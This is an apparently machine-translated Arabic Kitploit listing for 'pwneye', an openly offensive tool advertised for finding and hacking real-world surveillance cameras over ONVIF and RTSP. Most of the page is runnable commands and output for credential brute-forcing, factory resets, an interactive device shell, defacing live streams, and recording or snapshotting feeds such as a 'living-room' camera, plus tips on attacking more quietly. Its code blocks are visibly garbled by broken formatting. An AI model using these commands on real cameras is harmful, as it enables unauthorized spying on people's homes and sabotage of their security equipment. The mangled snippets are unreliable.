Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pwneye — # رفيقك لكاميرات ONVIF وRTSP لاكتشاف واختراق كاميرات المراقبة الواقعية 🎥 | Kitploit
أدوات/GitHubGitHub/hackerest/pwneye
الاستطلاعأمان إنترنت الأشياءهجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الشبكاتاختبار الاختراقأمان الأجهزة وإنترنت الأشياءالفريق الأحمر
GitHubhackerest/pwneye
2393478منذ 17 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

pwneye

# رفيقك لكاميرات ONVIF وRTSP لاكتشاف واختراق كاميرات المراقبة الواقعية 🎥

عرض المستودع

شعار pwneye

الإصدار 1.3.2 الاسم الرمزي panopticon بايثون 3.10+ macOS و Linux رخصة GPL v3.0

pwneye هي أداة أمنية هجومية مركّزة وقابلة للنقل للعمل مع كاميرات IP التي تعرض خدمات ONVIF و RTSP، بهدف منح باحثي الأمن والقراصنة طريقة سهلة للتعامل مع الاكتشاف، واختبار المصادقة، وجمع البيانات الوصفية، والتحقق من البث، والتسجيل، والإجراءات اللاحقة من سير عمل CLI واحد.

بعض القدرات المدعومة حالياً تشمل:

  • اكتشاف ONVIF على الشبكة المحلية عبر WS-Discovery
  • مصادقة ONVIF وهجوم القوة العمياء متعدد الخيوط ببيانات اعتماد مفردة أو ملفات اسم مستخدم/كلمة مرور
  • تعداد ONVIF بعد المصادقة لمعلومات الجهاز، والمستخدمين المكوّنين، وإعدادات الشبكة، وملفات تعريف الوسائط، وعناوين بث RTSP
  • إعادة تشغيل الكاميرا، وإعادة ضبط المصنع، والوصول إلى قشرة تفاعلية عبر ONVIF
  • حركة PTZ عبر ONVIF من سطر الأوامر ومن العارض المخصص
  • دعم تشويه البث واستعادته عبر ONVIF
  • كشف منفذ RTSP وتحديد البائع بناءً على اللافتة
  • هجوم قوة عمياء على RTSP مدرك للبائع مع أكثر من 450 ملف تعريف مدمج لبيانات اعتماد/سلاسل اتصال البائعين، بالإضافة إلى دعم البائع اليدوي وسلسلة الاتصال اليدوية
  • هجوم قوة عمياء متعدد الخيوط على RTSP مع إخراج تقدم مباشر
  • معالجة القنوات المتعددة RTSP مع الكشف التلقائي، والتعداد الموجّه، واختيار القناة التفاعلي
  • عميل معاينة مباشرة مخصص مع تكبير وتبديل سريع للقنوات لأهداف من نوع DVR/NVR
  • التحقق من بث RTSP، ومعاينة مباشرة عبر ffplay، وتسجيل عبر ffmpeg، والتقاط لقطة
  • تخزين مؤقت لكل هدف لنتائج ONVIF و RTSP الناجحة تحت ~/.pwneye

العرض التوضيحي

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

جدول المحتويات

  • التثبيت والتحديثات
    • pipx
    • بايثون
    • التبعيات الخارجية
  • البدء
  • ONVIF
    • ما الذي يوفره لك ONVIF
    • تعداد الشبكة المحلية
    • هجوم القوة العمياء على بيانات الاعتماد
    • إعادة تشغيل كاميرا
    • إعادة ضبط كاميرا
    • تحريك الكاميرا
    • تشويه بث
    • إلغاء تشويه بث
    • الحصول على قشرة
  • RTSP
    • ما الذي يوفره لك RTSP
    • تحديد البائع
    • هجوم القوة العمياء على RTSP
    • البث متعدد القنوات
    • البث والتسجيل واللقطات
  • نصائح وحيل
  • شكر وتقدير
  • السلامة
  • الترخيص

التثبيت والتحديثات

pipx

ثبّت pwneye كأمر CLI على مستوى النظام من GitHub:```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

root@kitploit:~
قم بإلغاء تثبيته:```bash
pipx uninstall pwneye

قم بترقيته لاحقًا من نفس مصدر GitHub:```bash pipx upgrade pwneye

root@kitploit:~
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

قم بترقيته لاحقًا من نفس مصدر GitHub:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

root@kitploit:~
### التبعيات الخارجية

من المتوقع توفر الأدوات التالية في `PATH` حسب الوضع الذي تستخدمه:
- `ffplay`
- `ffprobe`
- `ffmpeg` للتسجيل

| المنصة | أمر التثبيت |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## البدء

استخدم هذه النقاط كأسرع مداخل للعمل مع الأداة. الهدف هنا ليس توثيق كل خيار، بل إظهار أكثر الطرق فائدة لبدء العمل مع كاميرا بناءً على ما تعرفه بالفعل.

ابدأ من سير العمل الكامل الافتراضي عندما يكون لديك هدف واحد وتريد أن تقوم `pwneye` بعملية اختيار البروتوكول نيابةً عنك:```bash
pwneye -t 192.168.1.135

ابدأ باكتشاف ONVIF عندما تكون على نفس الشبكة المحلية وتريد تحديد الأجهزة والبائعين ومؤشرات البث قبل لمس RTSP:```bash pwneye --discover

root@kitploit:~
ابدأ مباشرة من RTSP عندما يكون ONVIF غير ذي صلة، أو غير متوفر، أو كنت تعرف بالفعل ما تريد اختباره:```bash
pwneye -t 192.168.1.135 --skip-onvif

ابدأ من بيانات الاعتماد المعروفة أو المشتبه بها عندما تريد تقليل الضوضاء والتحقق من الوصول بسرعة:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

root@kitploit:~
ابدأ من مسار معروف أو قالب مسار عندما يكون لديك بالفعل دليل على التدفق وتريد تحكماً دقيقاً في طلبات RTSP:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

ابدأ بجمع الأدلة بمجرد العثور على تدفق يعمل:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

root@kitploit:~
الأعلام المفيدة التي يجب وضعها في الاعتبار:
- `--vendor VENDOR`: تقليل طلبات RTSP عندما تكون عائلة الجهاز معروفة مسبقًا
- `-cn, --connection-string PATH`: تجربة مسار RTSP معروف أو ملف يحتوي على مسارات مرشحة
- `--multi-channel`: تفضيل مسارات RTSP القائمة على القنوات عندما تشك في أن الهدف من نوع DVR/NVR
- `--threads N`: التحكم في التزامن لاختراق ONVIF وRTSP
- `--skip-onvif` / `--skip-rtsp`: التركيز على بروتوكول واحد فقط
- `--no-cache`: عدم القراءة من أو الكتابة إلى ذاكرة التخزين المؤقت
- `--fresh`: تجاهل قراءات ذاكرة التخزين المؤقت ولكن لا يزال كتابة النتائج الجديدة

## ONVIF

ONVIF هو جانب الإدارة والتحكم في عالم الكاميرات. عمليًا، هو مفيد للاكتشاف، والمصادقة، واستخراج البيانات الوصفية، وتعداد ملفات الوسائط، واسترجاع عناوين URI لدفق الفيديو، وإجراءات الجهاز مثل إعادة التشغيل.

في `pwneye`، عادةً ما يكون ONVIF هو البروتوكول الذي يوفر أغنى سياق ما بعد المصادقة، وأوضح مسار لفهم ما تعرضه الكاميرا، وعندما يمتلك الحساب المصادق صلاحيات كافية، الوصول إلى إجراءات إدارية حقيقية على الجهاز.

### ما يوفره لك ONVIF

عندما تعرض الكاميرا ONVIF، يمكن لـ `pwneye` استخدامه من أجل:

- اكتشاف الكاميرات على الشبكة المحلية عبر WS-Discovery
- اختبار مصادقة ONVIF باستخدام بيانات اعتماد ثابتة أو ملفات
- استخراج بيانات الشركة المصنعة والجهاز الوصفية
- استرجاع عناوين URI لدفق RTSP المعروضة من الجهاز
- تعداد السياق المفيد بعد المصادقة قبل لمس RTSP بشكل أكثر عدوانية
- طلب إعادة تشغيل مصادق عليها باستخدام `--reboot`
- طلب إعادة ضبط المصنع مصادق عليها باستخدام `--reset`
- تحريك كاميرا قادرة على PTZ من سطر الأوامر أو من العارض المخصص
- فتح قشرة تفاعلية مصادق عليها باستخدام `--shell`
- تشويه الدفق عبر ONVIF باستخدام `--deface`
- استعادة آخر ملف تشويه محفوظ باستخدام `--undeface`

### تعداد الشبكة المحلية

استخدم WS-Discovery لتحديد الأجهزة القادرة على ONVIF على الشبكة المحلية:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

حلقة الاكتشاف تستمر في الفحص كل بضع ثوانٍ، وتطبع فقط الأجهزة المكتشفة حديثًا، ويمكن إيقافها باستخدام CTRL-C.

يمكنك أيضًا فرض الاكتشاف عبر واجهة شبكة محددة:```bash pwneye --discover en0 pwneye --discover eth0

root@kitploit:~
عند عدم تحديد واجهة، يقوم `pwneye` تلقائيًا باختيار واجهة الخروج الافتراضية ويخبرك بقطاع الشبكة الفرعية الذي يستخدمه لاكتشاف WS-Discovery.

### تخمين بيانات الاعتماد (Bruteforcing Credentials)

قم بتشغيل تخمين ONVIF فقط مع اسم مستخدم ثابت وملف كلمات مرور:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

خيارات مفيدة:

  • --skip-onvif: تخطي اكتشاف ONVIF والتعداد
  • -oP, --onvif-port PORT: اختبار منفذ ONVIF محدد
  • -ou, --onvif-username USER: اسم مستخدم ONVIF أو ملف يحتوي على اسم مستخدم واحد في كل سطر
  • -op, --onvif-password PASS: كلمة مرور ONVIF أو ملف يحتوي على كلمة مرور واحدة في كل سطر

إذا لم يتم تحديد -ou و -op، يقوم pwneye تلقائيًا بالرجوع إلى أسماء المستخدمين وكلمات المرور الشائعة المدمجة لديه لـ ONVIF.

يقوم pwneye بتخزين بيانات اعتماد ONVIF الناجحة لكل هدف مؤقتًا تحت ~/.pwneye/cache ويعيد استخدامها في عمليات التشغيل المستقبلية ما لم تستخدم --fresh أو --no-cache.

إعادة تشغيل كاميرا

إذا نجح مصادقة ONVIF، يمكنك طلب إعادة تشغيل مباشرة:``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

root@kitploit:~
عند استخدام `--reboot`، يتم تخطي فحص RTSP.

### إعادة ضبط الكاميرا

إذا نجح مصادقة ONVIF، يمكنك أيضًا طلب إعادة ضبط المصنع مباشرةً:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

تحذير: قد تكون هذه العملية غير قابلة للتراجع وقد تمسح إعدادات الجهاز الحالية وبيانات الاعتماد وإعدادات الشبكة. استخدم --reset فقط عندما تفهم التأثير بالكامل وتكون مصرحًا لك صراحةً بتنفيذها.

كما هو الحال مع --reboot، عند استخدام --reset، يتم تخطي فحص RTSP.

تحريك الكاميرا

إذا كان الهدف يعرض عناصر تحكم PTZ عبر ONVIF، يمكن لـ pwneye تحريك الكاميرا من الطرفية ومن العارض المباشر المخصص.

من سطر الأوامر، استخدم --move مع direction,duration. يمكن تكرار العلامة، ويتم تنفيذ الحركات المطلوبة بالتسلسل مع تخطي فحص RTSP:```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

root@kitploit:~
الاتجاهات المقبولة هي:

- `left` أو `l`
- `right` أو `r`
- `up` أو `u`
- `down` أو `d`

مثال:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

داخل العارض المخصص، إذا كان PTZ مدعومًا، فإن العرض المركّز يتيح لك أيضًا تحريك الكاميرا تفاعليًا باستخدام W وA وS وD. وهذا مفيد عندما يكون لديك بالفعل بث يعمل وترغب في الحصول على تغذية راجعة بصرية مباشرة أثناء ضبط الجهاز.

تشويه البث

إذا نجح مصادقة ONVIF، يمكن لـ pwneye أيضًا محاولة تشويه البث مباشرةً:```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

root@kitploit:~
ما الذي يفعله `--deface` باختصار:

- يتحقق أولاً مما إذا كان الهدف يدعم تعتيم البث عبر ONVIF Imaging
- يتحقق أيضاً مما إذا كان الهدف يعرض طبقات نص ONVIF قابلة لإعادة الاستخدام
- إذا كان كلاهما متاحاً، يقوم `pwneye` بتنفيذ تشويه كامل
- إذا كان جانب واحد فقط متاحاً، يحذر `pwneye` المستخدم ويقدم تشويهاً جزئياً بدلاً من ذلك
- قبل تغيير أي شيء، يحفظ `pwneye` ملف استعادة للهدف تحت `~/.pwneye/cache`

التنفيذ متحفظ عمداً ومراعٍ لمصنعي الأجهزة:

- بالنسبة لخطوة التعتيم، يخفض `pwneye` عناصر التحكم في التصوير المدعومة مثل السطوع والتباين والتشبع بدلاً من الاعتماد على حيل خاصة بالمصنعين
- بالنسبة لخطوة النص، يعيد `pwneye` استخدام طبقات نص ONVIF القابلة للكتابة الموجودة بدلاً من إنشاء أو حذف إدخالات OSD جديدة
- وهذا يجعل الميزة أكثر توافقاً عبر عائلات الكاميرات المختلفة، حتى لو كانت النتيجة البصرية النهائية لا تزال تعتمد على البرنامج الثابت

مثال:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Sample result:

Deface placeholder

إلغاء تشويه التدفق

إذا كان تشغيل سابق لـ --deface قد حفظ ملف استعادة للملف الهدف، يمكن لـ pwneye استخدامه لاستعادة حالة ONVIF الأصلية:```bash pwneye -t 192.168.1.135 --undeface

root@kitploit:~
ما الذي يفعله `--undeface`، باختصار:

- يبحث عن ملف تعريف استعادة deface محفوظ مسبقًا في إدخال ذاكرة التخزين المؤقت للهدف
- إذا لم يكن هناك ملف تعريف موجود، يتوقف فورًا مع ظهور خطأ
- إذا كان ملف تعريف موجودًا، يحاول استعادة إعدادات Imaging الأصلية وطبقات النص القابلة للكتابة الأصلية
- كما هو الحال مع `--deface`، قد تكون النتيجة النهائية كاملة أو جزئية اعتمادًا على ما يسمح به الهدف عبر ONVIF

لا يتم حذف ملف تعريف الاستعادة بعد نجاح `--undeface`. يبقى في ذاكرة التخزين المؤقت حتى يقوم `--deface` مستقبليًا باستبداله بملف تعريف أحدث.

مثال:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

الحصول على شل

إذا نجح مصادقة ONVIF، يمكن لـ pwneye أيضًا أن يمنحك شل ONVIF تفاعليًا مباشرةً. هذا مفيد عندما تريد فحص الخدمات، أو استدعاء الطرق يدويًا، أو استكشاف الإمكانيات، أو اختبار عمليات خاصة بالهدف دون مغادرة سير العمل الحالي.

مثال:```text pwneye -t 192.168.1.135 --shell

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

root@kitploit:~
## RTSP

RTSP هو الجانب المتعلق بالبث في عالم الكاميرات. وهو البروتوكول الذي يمنحك عادةً مسار الفيديو المباشر، لكنه أيضًا الأكثر تجزؤًا: يستخدم البائعون مسارات مختلفة، واصطلاحات قنوات مختلفة، وخصائص مصادقة مختلفة، وتنسيقات لافتات مختلفة.

في `pwneye`، تتم معالجة RTSP حول اكتشاف المنافذ، والتقاط اللافتات، واختيار المسارات المدركة للبائع، وتنسيق هجمات القوة الغاشمة، والتحقق من صحة البث، والمعاينة، والتسجيل.

### ما الذي يوفره لك RTSP

RTSP هو الجزء من سير العمل الذي يؤكد ما إذا كان بإمكانك الوصول فعليًا إلى بث ما. في `pwneye`، يعني ذلك:

- اكتشاف RTSP على المنافذ الشائعة أو المنافذ المحددة من قبل المستخدم
- التقاط اللافتات ومحاولة تحديد البائع تلقائيًا
- هجمات القوة الغاشمة على بيانات الاعتماد مقابل مسارات مدركة للبائع أو مسارات يقدمها المستخدم
- التحقق من صحة البثوط العاملة قبل فتحها
- تسجيل البثوط أو التقاط لقطات كدليل
- تعداد قنوات متعددة عندما يتصرف الهدف مثل DVR أو NVR

### تحديد البائع

سيحاول `pwneye` تحديد بائع RTSP تلقائيًا من خلال التقاط لافتات RTSP قبل اللجوء إلى تعداد مسارات أوسع.

إذا فشل التحديد التلقائي القائم على اللافتات وكنت تعرف البائع بالفعل من تحليل سابق، يمكنك تمريره مباشرة لتقليل عدد الطلبات بشكل كبير:```bash
pwneye -t 192.168.1.135 --vendor tenda

يمكنك أيضًا جلب لافتة RTSP فقط ثم الخروج:``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

root@kitploit:~
خيارات مفيدة:
- `--skip-rtsp`: تخطّي اكتشاف RTSP والهجوم بالتخمين
- `-P, --rtsp-port PORT`: اختبار منفذ RTSP محدد
- `--vendor VENDOR`: فرض بائع من قاعدة بيانات RTSP
- `--list-vendors`: عرض البائعين المدعومين من قاعدة معرفة RTSP ثم الخروج
- `--protocol tcp|udp`: اختيار ناقل RTSP، الافتراضي هو `tcp`
- `--timeout SECONDS`: مهلة RTSP، الافتراضي هو `10`

### الهجوم بالتخمين على RTSP

الهجوم بالتخمين على RTSP باستخدام بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --username admin --password admin

قم بتدوير أسماء المستخدمين فقط مع كلمة مرور ثابتة:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

root@kitploit:~
جرّب سلسلة اتصال RTSP واحدة مقدمة من المستخدم:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

قم بتحميل سلاسل الاتصال المرشحة من الملف:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

root@kitploit:~
اجمع مسارًا يدويًا مع بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

يفضّل استخدام مسارات متعددة القنوات عندما يكون الهدف على الأرجح جهاز DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

root@kitploit:~
الخيارات المفيدة:
- `-u, --username USER`: اسم مستخدم RTSP أو ملف يحتوي على اسم مستخدم واحد في كل سطر
- `-p, --password PASS`: كلمة مرور RTSP أو ملف يحتوي على كلمة مرور واحدة في كل سطر
- `-cn, --connection-string PATH`: سلسلة اتصال RTSP أو ملف يحتوي على سلسلة اتصال واحدة في كل سطر
- `--multi-channel`: تفضيل سلاسل اتصال RTSP متعددة القنوات عند توفرها
- `--threads N`: عدد الخيوط المتزامنة المستخدمة بواسطة محرك القوة الغاشمة

إذا لم يتم تحديد `-u` و `-p`، يقوم `pwneye` تلقائيًا بالرجوع إلى أسماء المستخدمين وكلمات المرور الشائعة المدمجة لـ RTSP.

يقوم `pwneye` بتخزين بيانات اعتماد RTSP الناجحة وبيانات تدفق الوسائط المُتحقق منها لكل هدف تحت `~/.pwneye/cache`.

سلوك التخزين المؤقت:
- الافتراضي: إعادة استخدام النتائج الصالحة المخزنة قبل تشغيل قوة غاشمة جديدة
- `--fresh`: تجاهل النتائج المخزنة مؤقتًا ولكن لا يزال تحديث التخزين المؤقت بالنتائج الجديدة
- `--no-cache`: تعطيل كل من قراءة التخزين المؤقت وكتابة التخزين المؤقت

### التدفقات متعددة القنوات

تكشف بعض الكاميرات وأجهزة DVR و NVR عن قنوات RTSP منطقية متعددة بدلاً من مسار ثابت واحد. تتضمن الأمثلة النموذجية قوالب مثل:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye يمكنه اكتشاف ذلك تلقائيًا أثناء فحص RTSP، بما في ذلك من خلال المعرفة المستندة إلى البائع في RTSP، ولكن يمكنك أيضًا توجيه العملية بشكل صريح:

  • --multi-channel يخبر pwneye بتفضيل مسارات RTSP القائمة على القنوات من قاعدة المعرفة
  • --connection-string يتيح لك توفير قالب القناة الخاص بك، بما في ذلك العناصر النائبة مثل {channel}
  • نفس منطق القالب يعمل أيضًا عندما تأتي سلاسل الاتصال من ملف
  • بمجرد العثور على قنوات متعددة، يمكن لـ pwneye فتح إما بث واحد أو عارض مخصص متعدد القنوات في نافذة واحدة

أمثلة:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

root@kitploit:~
عينة الإخراج:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

إذا اخترت Open all discovered channels، يقوم pwneye بتشغيل عميل متعدد القنوات مخصص يُبقي جميع البثوث المكتشفة داخل نافذة واحدة. تظهر كل قناة في الفسيفساء كمعاينة حية، والنقر على بلاطة يرفع تلك القناة إلى عرض مركّز أكبر مع إجراء Back بسيط للعودة إلى الشبكة.

pwneye dedicated multi-channel client demo

افتراضيًا، تستخدم المعاينة الحية لبروتوكول RTSP عميل pwneye المخصص. إذا كنت تفضّل سير عمل المشغّل الكلاسيكي بدلاً من ذلك، يمكنك إضافة --legacy لفتح البث المُتحقَّق منه باستخدام ffplay.

عندما يكون العميل المخصص مفتوحًا، يمكنك أيضًا تشغيل Snapshot وRecord مباشرةً من العرض المركّز دون مغادرة الواجهة الرسومية. هذا مفيد عندما تريد فحص بث أولاً ثم تقرر فقط حفظ صورة ثابتة أو بدء تسجيل الأدلة.

البث، التسجيل، والصور اللحظية

افتح بثًا مُتحقَّقًا منه مع معاينة حية:```bash pwneye -t 192.168.1.135 --vendor tenda

root@kitploit:~
سجّل تدفق RTSP مُتحققًا منه مع معاينة:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

التقط لقطة شاشة بدلاً من تسجيل كامل:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

root@kitploit:~
سجّل دون فتح نافذة المعاينة:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

سلوك التسجيل:

  • --record [OUTPUT.mp4]: تسجيل بث RTSP الذي تم التحقق منه؛ إذا تم حذفه، يتم إنشاء ملف بختم زمني تحت ~/.pwneye/recordings
  • --snapshot [OUTPUT.jpg]: حفظ إطار ثابت من بث RTSP الذي تم التحقق منه؛ إذا تم حذفه، يتم إنشاء ملف بختم زمني تحت ~/.pwneye/snapshots
  • --no-video: تخطي المعاينة المباشرة وفك الترميز
  • يعرض العارض المخصص أيضًا إجراءات Snapshot وRecord مباشرة في العرض المركّز
  • يتم تخزين التسجيلات الافتراضية تحت ~/.pwneye/recordings/<target>/
  • يتم تخزين اللقطات الافتراضية تحت ~/.pwneye/snapshots/<target>/

نصائح وحيل

إذا كانت pwneye لعبة فيديو، فهذه على الأرجح النصائح التي ستراها على شاشة التحميل:

  • واجهة ويب قوية لا تعني كاميرا آمنة: الكاميرا ذات الواجهة الإدارية المحمية جيدًا ليست بالضرورة محمية جيدًا بشكل عام. من الشائع العثور على سلوك قفل ويب صلب بينما يبقى RTSP غير مصادق عليه أو يقبل محاولات غير محدودة فعليًا.
  • استخدم الاكتشاف عندما تستطيع: إذا كان --discover يعمل على الشبكة المحلية، فاستخدمه أولاً. يمكن لمعلومات البائع وبيانات الجهاز الوصفية والنتائج المخزنة مؤقتًا أن تجعل أعمال RTSP اللاحقة أكثر هدوءًا وموثوقية.
  • ONVIF أولاً قد يكون الخيار الأذكى: غالبًا ما تشترك ONVIF وRTSP في نفس بيانات الاعتماد. إذا كانت ONVIF مكشوفة، فمن الأذكى عادةً اختراق هذا الجانب أولاً باستخدام --skip-rtsp بدلاً من مهاجمة RTSP مباشرة وجعل البث غير مستقر. عندما يجد pwneye بيانات اعتماد ONVIF صالحة، سيحاول إعادة استخدامها على RTSP تلقائيًا.
